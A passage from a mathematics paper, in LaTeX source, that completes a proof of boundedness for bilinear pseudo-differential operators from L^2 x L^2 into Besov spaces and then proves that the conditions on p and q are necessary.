\la T_{\sigma_{j, \K, \Nu}}(f_1, f_2), g \ra.
\end{align*}
By symmetry, we only consider the former sum in the last line, because the argument below works for the latter one.
Let $\widetilde{\psi}_k \in \Sh(\R^n)$, $k \geq 0$, be such that
\begin{align*}
&\supp \widetilde{\psi}_0 \subset \{ |\xi| \leq 4 \}, \quad
\supp \widetilde{\psi}_k \subset \{2^{k-2} \leq |\xi| \leq 2^{k+2}\},\quad k \geq 1,\\
&\widetilde{\psi}_k = 1
\quad \text{on} \quad
\supp \psi_k, \quad k \geq 0.
\end{align*}
Since
$\psi_{k_i}\widetilde{\psi}_{k_i}=\psi_{k_i}$,
it holds that
\begin{align*}
\la T_{\sigma_{j, \K, \Nu}}(f_1, f_2), g \ra
= \la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g \ra
\end{align*}
with
$f_{i, k_i} = \widetilde{\psi}_{k_i}(D)f_i$, $i=1,2$.
We also use the decomposition
\begin{align*}
g = \sum_{\ell \geq 0} \psi_\ell(D)g = \sum_{\ell \geq 0} g_\ell,
\end{align*}
where $\{\psi_\ell\}_{\ell \geq 0}$ is the same as in (\ref{Besov-parti}).
Then, we can write
\begin{align*}
\sum_{j\ge 0}
\sum_{k_1 \geq k_2}
\sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_1, f_2), g \ra
= \sum_{j\ge 0}
\sum_{k_1 \geq k_2}
\sum_{\ell \geq 0}
\sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra.
\end{align*}
Furthermore, we divide the sum as follows.
\begin{align*}
&\sum_{j \ge 0}
\sum_{k_1 \geq k_2}
\sum_{\ell \geq 0}
\sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra\\
&= \Big( \sum_{\substack{j \geq k_1-3\\ k_1 \geq k_2}}
+ \sum_{\substack{j < k_1-3\\ k_1 \geq k_2}} \Big)
\sum_{\ell \geq 0}
\sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra
= A_1 + A_2.
\end{align*}
\bigskip
\noindent
{\it Estimate for $A_1$}.
Since $\supp \widehat{g_\ell} \subset \{ 2^{\ell-1} \le |\zeta| \le 2^{\ell+1}\}$, $\ell \ge 1$, and
\begin{align*}
\supp \F[ T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2})]
\subset \{ |\zeta| \leq 2^{j+6}\}, \quad j\geq k_1-3, \ k_1 \geq k_2
\end{align*}
(see the argument around (\ref{supp-uniform})),
it follows that $\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra = 0$ if $\ell \geq j+7$.
In addition, we see that if $\supp \varphi(\cdot - \nu_2) \cap \supp
\psi_{k_2} = \emptyset$, then $\sigma_{j, \K, \Nu} = 0$, and consequently $\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra = 0$.
From these observations, $A_1$ can be written as
\begin{align*}
A_1
= \sum_{\substack{j \geq k_1-3 \\ \ell \leq j+6, \, k_1 \geq k_2}}
\sum_{\nu_1 \in \Z^n} \sum_{\nu_2 \in \Lambda_{k_2}}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra,
\end{align*}
where
\begin{align} \label{k2set}
\Lambda_{k_2} = \{\nu_2 \in \Z^n : \supp \varphi(\cdot - \nu_2) \cap \supp \psi_{k_2} \neq \emptyset \}.
\end{align}
Note that the number of elements of $\Lambda_{k_2}$ satisfies $|\Lambda_{k_2}| \lesssim 2^{k_2n}$.
Using Lemma \ref{lem-L2L2Lr-est} with $r = p^\prime$ and $N \ge 1$, we obtain
\begin{align} \label{A1-est}
\begin{split}
|A_1|
&\leq
\sum_{\substack{j \geq k_1-3 \\ \ell \leq j+6, \, k_1 \geq k_2}}
\sum_{\nu_1 \in \Z^n} \sum_{\nu_2 \in \Lambda_{k_2}}
|\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra|\\
&\lesssim
\sum_{\substack{j \geq k_1-3 \\ \ell \leq j+6, \, k_1 \geq k_2}}
2^{k_1 m_1+k_2 m_2 -jN} |\Lambda_{k_2}|^{1/2} \|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g_\ell\|_{L^{p^\prime}}\\
&\lesssim
\sum_{\substack{j \geq k_1-3 \\ \ell \leq j+6, \, k_1 \geq k_2}}
2^{k_1 m_1+k_2 m_2+k_2n/2 -jN}\|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g_\ell\|_{L^{p^\prime}}.
\end{split}
\end{align}
By our assumptions $m_1, m_2 < 0$ and $m_1+m_2 = -n/2$,
it follows that $k_1 m_1+k_2 m_2+k_2n/2 \leq k_2 m_1+k_2 m_2+k_2n/2 = 0$ for $k_1 \geq k_2$.
Hence, since $\sum_{k_i \ge 0} |\widetilde{\psi}_{k_i}(\xi_i)|^2 \lesssim 1$, the last quantity in (\ref{A1-est}) is estimated by
\begin{align*}
&\sum_{\substack{j \geq k_1-3 \\ \ell \leq j+6, \, k_1 \geq k_2}}
2^{-jN}\|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g_\ell\|_{L^{p^\prime}}\\
&\leq
\sum_{\substack{j \geq k_1-3 \\ k_1 \geq k_2}}
2^{-jN} (j+7) \|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2}
\big(\sup_{\ell \ge 0}\|g_\ell\|_{L^{p^\prime}} \big)\\
&\leq
\sum_{j \geq 0}
2^{-jN} (j+7) (j+4)
\Big( \sum_{k_1 \geq 0} \|f_{1, k_1}\|^2_{L^2} \Big)^{1/2}
\Big( \sum_{k_2 \geq 0} \|f_{2, k_2}\|^2_{L^2} \Big)^{1/2}
\|g\|_{B^0_{p^\prime, \infty}} \\
&\lesssim \|f_1\|_{L^2} \|f_2\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}},
\end{align*}
which gives the desired result.
\bigskip
\noindent
{\it Estimate for $A_2$}.
We divide $A_2$ as follows.
\begin{align*}
A_2
&= \Big( \sum_{k_1-3 \leq k_2 \leq k_1} + \sum_{k_2 < k_1-3} \Big)
\sum_{j < k_1-3}
\sum_{\ell \geq 0}
\sum_{\Nu \in (\Z^n)^2}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra \\
&= A_{2,1} +A_{2,2}.
\end{align*}
We first consider the estimate for $A_{2,1}$. Since
\begin{align*}
\supp \F[ T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2})]
\subset \{ |\zeta| \leq 2^{k_1+3}\}, \quad j < k_1-3, \ k_2 \le k_1,
\end{align*}
it follows that $\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra = 0$
if $\ell \geq k_1+4$.
Furthermore, by (\ref{supp-uniform}) and
the fact $\supp \widehat{g_\ell} \subset \supp \psi_\ell$,
we see that if
$\left(\nu_1+\nu_2 + \left[-2^{j+2}, 2^{j+2} \right]^n \right) \cap \supp \psi_\ell = \emptyset$,
then $\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra = 0$.
Combining these observations, we see that $A_{2,1}$ can be written as
\begin{align*}
A_{2,1}
=\sum_{\substack{j < k_1-3, \, \ell \le k_1+3 \\ k_1-3 \leq k_2 \leq k_1}}
\sum_{\mu \in \Lambda_{j, \ell}}
\sum_{\nu_1 + \nu_2 = \mu}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra,
\end{align*}
where
\begin{align*}
\Lambda_{j, \ell} = \{ \mu \in \Z^n : (\mu + \left[-2^{j+2}, 2^{j+2}\right]^n ) \cap \supp \psi_\ell \neq \emptyset \}.
\end{align*}
The number of elements of $\Lambda_{j, \ell}$ can be estimated by $ |\Lambda_{j, \ell}| \lesssim 2^{(j+\ell)n}$.
Hence, it follows from Lemma \ref{lem-L2L2Lr-est} with $r = p^\prime$ and $N > n/2$ that
\begin{align*}
|A_{2,1}|
&\leq \sum_{\substack{j < k_1-3, \, \ell \le k_1+3 \\ k_1-3 \leq k_2 \leq k_1}}
\sum_{\mu \in \Lambda_{j, \ell}}
\sum_{\nu_1 + \nu_2 = \mu}
|\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra|\\
&\lesssim \sum_{\substack{j < k_1-3, \, \ell \le k_1+3 \\ k_1-3 \leq k_2 \leq k_1}}
2^{k_1m_1+k_2m_2-jN} |\Lambda_{j, \ell}|^{1/2}
\|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g_\ell\|_{L^{p^\prime}}\\
&\lesssim \sum_{\substack{j < k_1-3, \, \ell \le k_1+3 \\ k_1-3 \leq k_2 \leq k_1}}
2^{k_1m_1+k_2m_2-jN} 2^{(j+\ell)n/2}
\|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}\\
&\approx \sum_{ k_1-3 \leq k_2 \leq k_1}
2^{k_1m_1+k_2m_2} 2^{k_1n/2}
\|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}\\
&= \sum_{ k_1-3 \leq k_2 \leq k_1}
2^{-k_1m_2+k_2m_2}
\|f_{1, k_1}\|_{L^2}\|f_{2, k_2}\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}.
\end{align*}
Since we can write $k_2 = k_1 + \widetilde{k}$ with $\widetilde{k} = -3, -2, -1, 0$ if $k_1-3 \leq k_2 \leq k_1$, the last sum can be written as
\begin{align*}
&\sum_{ k_1 \ge 0} \sum_{ -3 \le \widetilde{k} \le 0}
2^{-k_1m_2+(k_1+\widetilde{k})m_2}
\|f_{1, k_1}\|_{L^2}\|f_{2, k_1+\widetilde{k}}\|_{L^2}\\
&= \sum_{ k_1 \ge 0} \sum_{ -3 \le \widetilde{k} \le 0}
2^{\widetilde{k}m_2} \|f_{1, k_1}\|_{L^2}\|f_{2, k_1+\widetilde{k}}\|_{L^2}.
\end{align*}
Hence, by Schwarz's inequality, the right hand side of the above is estimated by
\begin{align*}
\sum_{ -3 \le \widetilde{k} \le 0} 2^{\widetilde{k}m_2}
\Big( \sum_{k_1\ge 0} \|f_{1, k_1}\|^2_{L^2} \Big)^{1/2}
\Big( \sum_{k_1\ge 0} \|f_{2, k_1+\widetilde{k}}\|^2_{L^2} \Big)^{1/2}
\lesssim \|f_1\|_{L^2}\|f_2\|_{L^2},
\end{align*}
which implies the desired estimate.
Next, we consider the estimate for $A_{2, 2}$.
Since
\begin{align*}
\supp \F[ T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2})]
\subset \{2^{k_1-2} \le |\zeta| \le 2^{k_1+2}\},
\quad j < k_1-3, \ k_2 < k_1-3,
\end{align*}it follows that
$\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra = 0$
if $\ell \le k_1-3$ or $k_1+3 \leq \ell$.
As before, if $\supp \varphi(\cdot - \nu_2) \cap \supp \psi_{k_2} = \emptyset$, then $\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra = 0$.
Therefore, we obtain
\begin{align*}
A_{2, 2}
= \sum_{\substack{j < k_1-3 \\ k_2 < k_1-3, \, |\ell-k_1| \le 2}}
\sum_{\nu_1 \in \Z^n} \sum_{\nu_2 \in \Lambda_{k_2}}
\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra,
\end{align*}
where $\Lambda_{k_2}$ is the same as in (\ref{k2set}).
By applying Lemma \ref{lem-L2L2Lr-est}, it follows that
\begin{align} \label{A22-est}
\begin{split}
|A_{2, 2}|
&\leq \sum_{\substack{j < k_1-3 \\ k_2 < k_1-3, \, |\ell-k_1| \le 2}}
\sum_{\nu_1 \in \Z^n} \sum_{\nu_2 \in \Lambda_{k_2}}
|\la T_{\sigma_{j, \K, \Nu}}(f_{1, k_1}, f_{2, k_2}), g_\ell \ra|\\
&\lesssim \sum_{\substack{j < k_1-3 \\ k_2 < k_1-3, \, |\ell-k_1| \le 2}}
2^{k_1m_1+k_2m_2-jN} 2^{k_2n/2} \|f_{1, k_1}\|_{L^2} \|f_{2, k_2}\|_{L^2} \|g_{\ell}\|_{L^{p^\prime}}\\
&\lesssim \sum_{k_2 < k_1-3}
2^{m_1(k_1-k_2)} \|f_{1, k_1}\|_{L^2} \|f_{2, k_2}\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}\\
&\le \sum_{k_1, k_2 \ge 0}
2^{m_1|k_1-k_2|} \|f_{1, k_1}\|_{L^2} \|f_{2, k_2}\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}.
\end{split}
\end{align}
Here, it follows from our assumption $m_1 < 0$ that
\begin{align*}
\sup_{k_1 \ge 0} \sum_{k_2 \ge 0} 2^{m_1|k_1-k_2|} < \infty
\quad
\text{and}
\quad
\sup_{k_2 \ge 0} \sum_{k_1 \ge 0} 2^{m_1|k_1-k_2|} < \infty.
\end{align*}
Hence, by Lemma \ref{Schur's lemma},
the last quantity in (\ref{A22-est}) can be estimated by
\begin{align*}
\Big( \sum_{k_1 \ge 0} \|f_{1, k_1}\|^2_{L^2} \Big)^{1/2}
\Big( \sum_{k_2 \ge 0} \|f_{2, k_2}\|^2_{L^2} \Big)^{1/2}
\|g\|_{B^0_{p^\prime, \infty}}
\lesssim \|f_1\|_{L^2} \|f_2\|_{L^2} \|g\|_{B^0_{p^\prime, \infty}}.
\end{align*}
This completes the proof of Theorem \ref{main1}.
\section{Proof of Theorem \ref{main2}}\label{section5}
In this section, we shall prove Theorem \ref{main2}. The ``if'' part follows from Theorem \ref{main1}, (\ref{two-classes}) and the embedding
$B^0_{p, 1} \hookrightarrow B^0_{p, q}$,
$1\le q \le \infty$. Thus, let us consider the ``only if'' part.
We assume that the $L^2\times L^2 \to B^0_{p, q}$ boundedness of all $T_\sigma$ with $\sigma \in BS^{-n/2}_{0, 0}$ holds throughout the rest of this section.
We also take a function $\psi_0 \in \Sh(\R^n)$ satisfying $\psi_0 = 1$ on $\{|\xi| \le 2^{1/4}\}$ and $\supp \psi_0 \subset \{|\xi| \le 2^{3/4}\}$, and set $\psi_\ell (\xi) = \psi_0(2^{-\ell}\xi) - \psi_0(2^{-\ell+1}\xi)$, $\ell \ge 1$. Then $\{\psi_\ell\}_{\ell \ge 0}$ satisfies (\ref{Besov-parti}) with the support conditions replaced by
\begin{align}\label{Besov-parti-2-1}
\begin{split}
\supp \psi_0 \subset \{ |\xi| \leq 2^{3/4}\}, \quad
\supp \psi_\ell \subset \{2^{\ell -3/4} \leq |\xi| \leq 2^{\ell + 3/4}\}, \quad \ell \ge 1.
\end{split}
\end{align}
Combining this with the condition $\sum_{\ell \ge 0}\psi_{\ell}=1$,
we see that
\begin{equation}\label{Besov-parti-2-2}
\psi_0 = 1
\ \ \text{on} \ \
\{|\xi| \leq 2^{1/4}\},
\quad
\psi_\ell = 1
\ \ \text{on} \ \
\{2^{\ell -1/4} \leq |\xi| \leq 2^{\ell + 1/4}\},
\ \ \ell \geq 1,
\end{equation}
and use this $\{\psi_\ell\}_{\ell \ge 0}$
as the partition of unity in the definition of Besov spaces.
\bigskip
\noindent
{\it The necessity of the condition $1 \le p \le 2$}.
First, we shall prove that $p \ge 1$.
Let $\sigma \in \Sh((\R^n)^2)$ satisfy $\sigma(\xi_1, \xi_2) = 1$ on $|(\xi_1, \xi_2)| \leq 1$,
and obviously $\sigma \in BS^{-n/2}_{0, 0}$.
For $\varphi \in \Sh(\R^n)$ satisfying
$\supp \varphi \subset \{ |\xi| \leq 1\}$,
we set
\[
\widehat{f_{i, j}}(\xi_i) = 2^{jn/2}\varphi(2^j\xi_i),
\quad i=1,2, \ j \ge 1,
\]
and note that
$\|f_{i, j}\|_{L^2} \approx 1$.
Since $|(\xi_1, \xi_2)| \leq 2^{-j+1/2} \leq 1$ for $|\xi_1|, |\xi_2| \leq 2^{-j}$ and $j \ge 1$, it follows that $\sigma(\xi_1, \xi_2) \varphi(2^j\xi_1) \varphi(2^j\xi_2) = \varphi(2^j\xi_1) \varphi(2^j\xi_2)$, and consequently
\[
T_{\sigma}(f_{1, j}, f_{2, j})(x)
= 2^{-jn}([\F^{-1}\varphi](2^{-j}x))^2.
\]
By a change of variables, $\|T_{\sigma}(f_{1, j}, f_{2, j})\|_{L^p} \approx 2^{jn(1/p-1)}$.
Furthermore, we have
\begin{align*}
\begin{split}
\supp \F[T_\sigma(f_{1, j}, f_{2, j})]
= \supp [\varphi(2^j \cdot) * \varphi(2^j \cdot)]
\subset \{ |\zeta| \leq 1\}.
\end{split}
\end{align*}
Hence, it follows from (\ref{Besov-parti-2-1}) and (\ref{Besov-parti-2-2}) that
$\psi_\ell(D)T_\sigma(f_{1, j}, f_{2, j})$ equals $T_\sigma(f_{1, j}, f_{2, j})$ if $\ell=0$, and $0$ otherwise.
From this, we obtain
\begin{align*}
\|T_\sigma(f_{1, j}, f_{2, j})\|_{B^0_{p, q}}
= \|T_\sigma(f_{1, j}, f_{2, j})\|_{L^p} \approx 2^{jn(1/p-1)}.
\end{align*}
Therefore, by our assumption, the boundedness of $T_\sigma$ gives
\begin{align*}
2^{jn(1/p-1)} \approx \|T_\sigma(f_{1, j}, f_{2, j})\|_{B^0_{p, q}} \lesssim \|f_{1, j}\|_{L^2} \|f_{2, j}\|_{L^2} \approx 1.
\end{align*}
The arbitrariness of $j \ge 1$ implies that $1/p-1 \le 0$, namely $p\ge 1$.
Next we shall prove that $p \leq 2$. Our argument is based on the proof of \cite[Proposition 5.1]{KMT}.
Let $\psi, \varphi, \widetilde{\psi}, \widetilde{\varphi} \in \Sh(\R^n)$ be such that
\begin{align*}
&\supp \psi \subset \{ 2^{-1/8} \leq |\xi_1| \leq 2^{1/8} \}, \quad
\supp \varphi \subset \{|\xi_2| \leq 2^{-j_0}\},\\
&\supp \widetilde{\psi} \subset \{ 2^{-1/4} \leq |\xi_1| \leq 2^{1/4} \},\quad \widetilde{\psi} = 1 \quad \text{on} \quad \supp \psi, \\
&\supp \widetilde{\varphi} \subset \{ |\xi_2| \leq 2^{-j_0+1}\}, \quad
\widetilde{\varphi} = 1 \quad \text{on} \quad \supp \varphi,
\end{align*}
where $j_0$ is a positive integer satisfying
\begin{equation}\label{proof_p2}
2^{-1/4} \le 2^{-1/8} -2^{-j_0}
\quad \text{and} \quad
2^{1/8} + 2^{-j_0} \le 2^{1/4}.
\end{equation}
We set
\begin{align*}
&\sigma(\xi_1, \xi_2) =
\sum_{k \ge 1} 2^{-kn/2} \widetilde{\psi}(2^{-k}\xi_1) \widetilde{\varphi}(2^{-k}\xi_2),\\
&\widehat{f_{1, j}}(\xi_1) = 2^{-jn/2}\psi(2^{-j}\xi_1), \quad \widehat{f_{2, j}}(\xi_2) = 2^{-jn/2} \varphi(2^{-j}\xi_2),
\quad j\ge1.
\end{align*}
It is not difficult to show that $\sigma \in BS^{-n/2}_{0, 0}$
(since $1+|\xi_1|+|\xi_2| \approx 2^k$
for $\xi_1 \in \mathrm{supp}\, \widetilde{\psi}(2^{-k}\cdot)$
and $\xi_2 \in \mathrm{supp}\, \widetilde{\varphi}(2^{-k}\cdot)$) and
$\|f_{1, j}\|_{L^2}, \, \|f_{2, j}\|_{L^2} \approx 1$.
Now, since $\widetilde{\psi}(2^{-k}\xi_1) \widetilde{\varphi}(2^{-k}\xi_2) \psi(2^{-j}\xi_1) \varphi(2^{-j}\xi_2)$ equals $\psi(2^{-j}\xi_1) \varphi(2^{-j}\xi_2)$ if $k=j$,
and $0$ otherwise, it follows that
\[
T_{\sigma}(f_{1, j}, f_{2, j})(x)
=2^{jn/2} [\F^{-1}\psi](2^j x) [\F^{-1}\varphi](2^j x).
\]
From this, we have $ \| T_\sigma(f_{1, j}, f_{2, j})\|_{L^p} \approx 2^{jn(1/2 -1/p)}$.
Moreover, by the support conditions
of $\psi, \varphi$ and \eqref{proof_p2},
we see that
$2^{j-1/4} \le |\xi_1+\xi_2| \le 2^{j+1/4}$
for $\xi_1 \in \supp \psi(2^{-j}\cdot)$
and $\xi_2 \in \supp \varphi(2^{-j}\cdot)$,
and consequently
\begin{align*}
\supp \F[T_\sigma(f_{1, j}, f_{2, j})]
= \supp[\psi(2^{-j}\cdot)*\varphi(2^{-j}\cdot)]
\subset \{2^{j-1/4} \leq |\zeta| \leq 2^{j+1/4}\}.
\end{align*}
Hence, it follows from (\ref{Besov-parti-2-1}) and (\ref{Besov-parti-2-2}) that
$\psi_\ell(D)T_\sigma(f_{1, j}, f_{2, j})$ equals
$T_\sigma(f_{1, j}, f_{2, j})$ if $\ell=j$, and $0$ otherwise.
This yields that
\begin{align*}
\|T_\sigma(f_{1, j}, f_{2, j})\|_{B^0_{p, q}}
= \|T_\sigma(f_{1, j}, f_{2, j})\|_{L^p} \approx 2^{jn(1/2 -1/p)}.
\end{align*}
Therefore, by our assumption, the boundedness of $T_\sigma$ gives
\begin{align*}
2^{jn(1/2 -1/p)} \approx \|T_\sigma(f_{1, j}, f_{2, j})\|_{B^0_{p, q}} \lesssim \|f_{1, j}\|_{L^2} \|f_{2, j}\|_{L^2} \approx 1.
\end{align*}
The arbitrariness of $j \ge 1$ implies that $1/2-1/p \le 0$, namely $p\le 2$.
\bigskip
\noindent
{\it The necessity of the condition $1 \le q \le \infty$}.
Finally, we shall prove that $1\leq q \leq \infty$.
The basic idea of this part goes back to
the proofs of \cite[Lemma 6.3]{MT-IUMJ} and \cite[Theorem 1.4]{Park}.
Since there is nothing to prove if $q= \infty$, we may assume that $0<q<\infty$.
By the closed graph theorem,
our assumption implies that
there exists a positive integer $N$ such that
\begin{equation}\label{inequality_operator_norm}
\|T_{\sigma}\|_{L^2 \times L^2 \to B_{p,q}^0}
\lesssim \max_{|\alpha|, |\beta_1|, |\beta_2| \le N}
\|
(1+|\xi_1|+|\xi_2|)^{n/2}
\partial_x^{\alpha}\partial_{\xi_1}^{\beta_1}\partial_{\xi_2}^{\beta_2}
\sigma(x,\xi_1,\xi_2)\|_{L^{\infty}_{x,\xi_1,\xi_2}}
\end{equation}
for all $\sigma \in BS^{-n/2}_{0,0}$,
where $\|T_{\sigma}\|_{L^2 \times L^2 \to B_{p,q}^0}$
denotes the operator norm of $T_{\sigma}$
(see \cite[Lemma 2.6]{BBMNT}).
We use functions
$\varphi, \widetilde{\varphi} \in \Sh(\R^n)$ such that
\begin{align*}
&\supp \varphi \subset \left[-1/4, 1/4\right]^n, \quad |\F^{-1}\varphi| \geq 1
\quad \text{on} \quad [-1, 1]^n,
\\
&\supp \widetilde{\varphi} \subset \left[-1/2, 1/2 \right]^n,
\quad \widetilde{\varphi} = 1 \quad \text{on} \quad \supp \varphi.
\end{align*}
Let $\{r_{\nu}(\omega)\}_{\nu \in \Z^n}$,
$ \omega \in [0,1]^n$,
be a sequence of Rademacher functions
(see \cite[Appendix C]{Grafakos-Classical})
enumerated in such a way that
their index set is $\Z^n$.
For $\omega \in [0,1]^n$ and $\epsilon>0$,
we set
\begin{align*}
&\sigma_{\omega}(\xi_1,\xi_2)
=\sum_{k \ge k_0}\sum_{\nu \in \Lambda_k}\sum_{\nu_1+\nu_2=\nu}
r_{\nu}(\omega)(1+|\nu_1|+|\nu_2|)^{-n/2}
\widetilde{\varphi}(\xi_1-\nu_1)\widetilde{\varphi}(\xi_2-\nu_2),
\\
&\widehat{f_i}(\xi_i)
=\sum_{\mu_i \in \Z^n}\langle \mu_i \rangle^{-n/2}
(\log \langle \mu_i \rangle)^{-(1+\epsilon)/2}\varphi(\xi_i-\mu_i),
\quad i=1,2,
\end{align*}
where $\langle \mu_i \rangle=e+|\mu_i|$,
$k_0$ is a positive integer satisfying
\begin{equation}\label{proof_k0}
2^{k-1/4} \le 2^{k-1/8}-\sqrt{n}/2,
\quad 2^{k+1/8}+\sqrt{n}/2 \le 2^{k+1/4},
\quad k \ge k_0 ,
\end{equation}
and
\[
\Lambda_k=\{\nu \in \Z^n \,:\, 2^{k-1/8} \le |\nu| \le 2^{k+1/8}\}.
\]
The number of elements of $\Lambda_k$ can be estimated by $|\Lambda_k| \approx 2^{kn}$.
It is easy to check that
\begin{equation}\label{inequality_symbol}
\max_{|\alpha|, |\beta_1|, |\beta_2| \le N}
\|
(1+|\xi_1|+|\xi_2|)^{n/2}
\partial_x^{\alpha}\partial_{\xi_1}^{\beta_1}\partial_{\xi_2}^{\beta_2}
\sigma_{\omega}(x,\xi_1,\xi_2)\|_{L^{\infty}_{x,\xi_1,\xi_2}}
\lesssim 1,
\end{equation}
but it should be emphasized that
the implicit constant in this inequality is independent of $\omega \in [0,1]^n$.
Using the facts that
$\{\langle \mu_i \rangle^{-n/2}
(\log \langle \mu_i \rangle)^{-(1+\epsilon)/2}\}$
belongs to $\ell^2(\Z^n)$
and the supports of $\varphi(\cdot-\mu_i)$, $\mu_i \in \Z^n$,
are mutually disjoint,
we also see that
$\|f_i\|_{L^2} \lesssim 1$, $i=1,2$.
Thus,
by \eqref{inequality_operator_norm} and \eqref{inequality_symbol},
\begin{align} \label{norm-estimate}
\|T_{\sigma_\omega}(f_1, f_2)\|_{B^0_{p, q}}
\lesssim \|f_1\|_{L^2}\|f_2\|_{L^2}
\lesssim 1,
\quad \omega \in [0,1]^n.
\end{align}
Now, since $ \varphi(\xi_i- \nu_i)\widetilde{\varphi}(\xi_i - \mu_i)$ is equal to $\varphi(\xi_i- \nu_i)$ if $\nu_i=\mu_i$, and $0$ otherwise, $i= 1, 2$,
it follows that
\begin{align*}
T_{\sigma_\omega}(f_1, f_2)(x)
&= \sum_{k \ge k_0} \sum_{\nu \in \Lambda_k} \sum_{\nu_1+\nu_2 =\nu}
r_{\nu}(\omega) (1+|\nu_1|+|\nu_2|)^{-n/2}
e^{i(\nu_1+\nu_2) \cdot x} (\F^{-1}\varphi(x))^2
\\
&\qquad \times
\la \nu_1 \ra^{-n/2} ( \log \la \nu_1\ra )^{-(1+\epsilon)/2}
\la \nu_2 \ra^{-n/2} ( \log \la \nu_2\ra )^{-(1+\epsilon)/2}
\\
&=\sum_{k \ge k_0}\sum_{\nu \in \Lambda_k}
r_{\nu}(\omega) d_{\nu} e^{i \nu \cdot x} \Phi(x)^2
\end{align*}
with $\Phi=\F^{-1}\varphi$ and
\begin{align*}
d_{\nu}
&=\sum_{\mu \in \Z^n}
(1+|\nu-\mu|+|\mu|)^{-n/2}
\\
&\qquad \qquad \times
\la \nu-\mu \ra^{-n/2} ( \log \la \nu-\mu \ra )^{-(1+\epsilon)/2}
\la \mu \ra^{-n/2} ( \log \la \mu \ra )^{-(1+\epsilon)/2} .
\end{align*}
We note that
$\mathrm{supp}\, \varphi*\varphi \subset [-1/2,1/2]^n$ and
\[
\F[T_{\sigma_\omega}(f_1, f_2)](\zeta)
=(2\pi)^{-n}
\sum_{k \ge k_0}\sum_{\nu \in \Lambda_k}
r_{\nu}(\omega) d_{\nu} [\varphi*\varphi](\zeta-\nu) .
\]
By \eqref{proof_k0},
if $\zeta - \nu \in [-1/2, 1/2]^n$, $\nu \in \Lambda_k$ and $k \ge k_0$,
then $2^{k-1/4} \leq |\zeta| \leq 2^{k+1/4}$.
Hence, for $k \ge k_0$ and $\nu \in \Lambda_k$,
it follows from (\ref{Besov-parti-2-1})
and (\ref{Besov-parti-2-2}) that
$\psi_\ell(\zeta) [\varphi* \varphi] (\zeta-\nu)$
is equal to $[\varphi* \varphi] (\zeta-\nu)$
if $k=\ell$, and $0$ otherwise.
This yields that
\[
\psi_\ell(D)T_{\sigma_\omega}(f_1, f_2)(x)
= \sum_{\nu \in \Lambda_\ell}
r_{\nu}(\omega) d_{\nu} e^{i \nu \cdot x} \Phi(x)^2,
\quad \ell \ge k_0.
\]
Raising \eqref{norm-estimate} to the $q$-th power
and integrating over $\omega \in [0,1]^n$,
we have
\begin{align*
\begin{split}
1
&\gtrsim
\int_{[0,1]^n} \|T_{\sigma_\omega}(f_1, f_2)\|_{B^0_{p, q}}^q\, d\omega
=\sum_{\ell \ge 0} \int_{[0, 1]^n} \|\psi_\ell(D)T_{\sigma_\omega}(f_1, f_2)
\|_{L^p}^q \,d\omega
\\
&\ge
\sum_{\ell \ge k_0}
\left( \int_{\R^n}
\bigg( \int_{[0, 1]^n}
\Big| \sum_{\nu \in \Lambda_\ell} r_{\nu}(\omega)
d_\nu e^{i\nu \cdot x} \Phi(x)^2 \Big|^{\min\{p, q\}}
d\omega \bigg)^{p/\min\{p, q\}}
dx \right)^{q/p}
\\
&\ge
\sum_{\ell \ge k_0}
\left( \int_{[-1,1]^n}
\bigg( \int_{[0, 1]^n}
\Big| \sum_{\nu \in \Lambda_\ell} r_{\nu}(\omega)
d_\nu e^{i\nu \cdot x} \Big|^{\min\{p, q\}}
d\omega \bigg)^{p/\min\{p, q\}}
dx \right)^{q/p} ,
\end{split}
\end{align*}
where
we used H\"older's inequality when $p \leq q$,
or Minkowski's inequality when $p\geq q$
in the second inequality,
and the condition $|\Phi|=|\F^{-1}\varphi| \ge 1$
on $[-1,1]^n$ in the third inequality.
Furthermore,
by Khintchine's inequality
(see, e.g., \cite[Appendix C]{Grafakos-Classical}),
